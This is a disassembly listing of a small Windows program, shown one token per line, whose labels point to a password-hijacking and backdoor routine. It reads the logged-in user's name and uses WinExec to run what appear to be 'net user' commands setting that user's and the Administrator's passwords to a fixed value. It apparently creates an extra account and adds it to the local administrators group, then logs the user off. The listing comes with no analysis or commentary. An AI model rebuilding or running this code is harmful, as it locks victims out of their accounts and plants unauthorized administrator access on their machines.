.data:00401100
.data:00401100
.data:00401100
.data:00401100
public
start
.data:00401100 start
proc
near
.data:00401100
.data:00401100 var_1104 =
byte
ptr
-1104h
.data:00401100 var_1103 =
byte
ptr
-1103h
.data:00401100 var_D04 =
byte
ptr
-0D04h
.data:00401100 var_D03 =
byte
ptr
-0D03h
.data:00401100 var_904 =
byte
ptr
-904h
.data:00401100 var_903 =
byte
ptr
-903h
.data:00401100 CmdLine =
byte
ptr
-504h
.data:00401100 var_503 =
byte
ptr
-503h
.data:00401100 Buffer =
byte
ptr
-104h
.data:00401100 var_103 =
byte
ptr
-103h
.data:00401100 pcbBuffer =
dword
ptr
-4
.data:00401100
.data:00401100
push
ebp
.data:00401101
mov
ebp
,
esp
.data:00401103
mov
eax
, 1104h
.data:00401108
call
__alloca_probe
.data:0040110D
and
[
ebp
+Buffer], 0
.data:00401114
push
ebx
.data:00401115
push
esi
.data:00401116
push
edi
.data:00401117
push
3Fh
.data:00401119
xor
eax
,
eax
.data:0040111B
pop
ecx
.data:0040111C
lea
edi
, [
ebp
+var_103]
.data:00401122
rep
stosd
.data:00401124
stosw
.data:00401126
stosb
.data:00401127
lea
eax
, [
ebp
+pcbBuffer]
.data:0040112A
mov
[
ebp
+pcbBuffer], 100h
.data:00401131
push
eax
.data:00401132
lea
eax
, [
ebp
+Buffer]
.data:00401138
push
eax
.data:00401139
call
GetUserNameA
.data:0040113F
and
[
ebp
+CmdLine], 0
.data:00401146
mov
ecx
, 0FFh
.data:0040114B
xor
eax
,
eax
.data:0040114D
lea
edi
, [
ebp
+var_503]
.data:00401153
rep
stosd
.data:00401155
stosw
.data:00401157
mov
ebx
, wsprintfA
.data:0040115D
push
offset
a107289
.data:00401162
stosb
.data:00401163
lea
eax
, [
ebp
+Buffer]
.data:00401169
push
eax
.data:0040116A
push
offset
aNetUser
.data:0040116F
lea
eax
, [
ebp
+CmdLine]
.data:00401175
push
offset
aSSS
.data:0040117A
push
eax
.data:0040117B
call
ebx
.data:0040117B
.data:0040117D
mov
esi
, WinExec
.data:00401183
add
esp
, 14h
.data:00401186
lea
eax
, [
ebp
+CmdLine]
.data:0040118C
push
0
.data:0040118E
push
eax
.data:0040118F
call
esi
.data:00401191
and
[
ebp
+var_D04], 0
.data:00401198
mov
ecx
, 0FFh
.data:0040119D
xor
eax
,
eax
.data:0040119F
lea
edi
, [
ebp
+var_D03]
.data:004011A5
rep
stosd
.data:004011A7
stosw
.data:004011A9
stosb
.data:004011AA
push
offset
a107289
.data:004011AF
push
offset
aNetUserAdminis
.data:004011B4
lea
eax
, [
ebp
+var_D04]
.data:004011BA
push
offset
aSS
.data:004011BF
push
eax
.data:004011C0
call
ebx
.data:004011C0
.data:004011C2
add
esp
, 10h
.data:004011C5
lea
eax
, [
ebp
+var_D04]
.data:004011CB
push
0
.data:004011CD
push
eax
.data:004011CE
call
esi
.data:004011D0
and
[
ebp
+var_904], 0
.data:004011D7
mov
edx
, 0FFh
.data:004011DC
mov
ecx
,
edx
.data:004011DE
xor
eax
,
eax
.data:004011E0
lea
edi
, [
ebp
+var_903]
.data:004011E6
and
[
ebp
+var_1104], 0
.data:004011ED
rep
stosd
.data:004011EF
stosw
.data:004011F1
stosb
.data:004011F2
mov
ecx
,
edx
.data:004011F4
xor
eax
,
eax
.data:004011F6
lea
edi
, [
ebp
+var_1103]
.data:004011FC
push
offset
dword_401080
.data:00401201
rep
stosd
.data:00401203
stosw
.data:00401205
stosb
.data:00401206
mov
edi
,
offset
loc_401068
.data:0040120B
push
offset
a107289
.data:00401210
push
edi
.data:00401211
push
offset
aNetUser
.data:00401216
push
offset
aSSSS
.data:0040121B
lea
eax
, [
ebp
+var_904]
.data:00401221
push
eax
.data:00401222
call
ebx
.data:00401224
push
offset
dword_401080
.data:00401229
push
edi
.data:0040122A
push
offset
aNetLocalgroupA
.data:0040122F
lea
eax
, [
ebp
+var_1104]
.data:00401235
push
offset
aSSS
.data:0040123A
push
eax
.data:0040123B
call
ebx
.data:0040123D
add
esp
, 2Ch
.data:00401240
xor
ebx
,
ebx
.data:00401242
lea
eax
, [
ebp
+var_904]
.data:00401248
push
ebx
.data:00401249
push
eax
.data:0040124A
call
esi
.data:0040124C
mov
edi
, Sleep
.data:00401252
push
0BB8h
.data:00401257
call
edi
.data:00401259
lea
eax
, [
ebp
+var_1104]
.data:0040125F
push
ebx
.data:00401260
push
eax
.data:00401261
call
esi
.data:00401263
push
1388h
.data:00401268
call
edi
.data:0040126A
push
ebx
.data:0040126B
push
offset
CmdLine
.data:00401270
call
esi
.data:00401272
push
ebx
.data:00401273
push
offset
aLogoff
.data:00401278
call
esi
.data:0040127A
pop
edi
.data:0040127B
pop
esi
.data:0040127C
xor
eax
,
eax
.data:0040127E
pop
ebx
.data:0040127F
leave
.data:00401280
retn
10h
.data:00401280 start
endp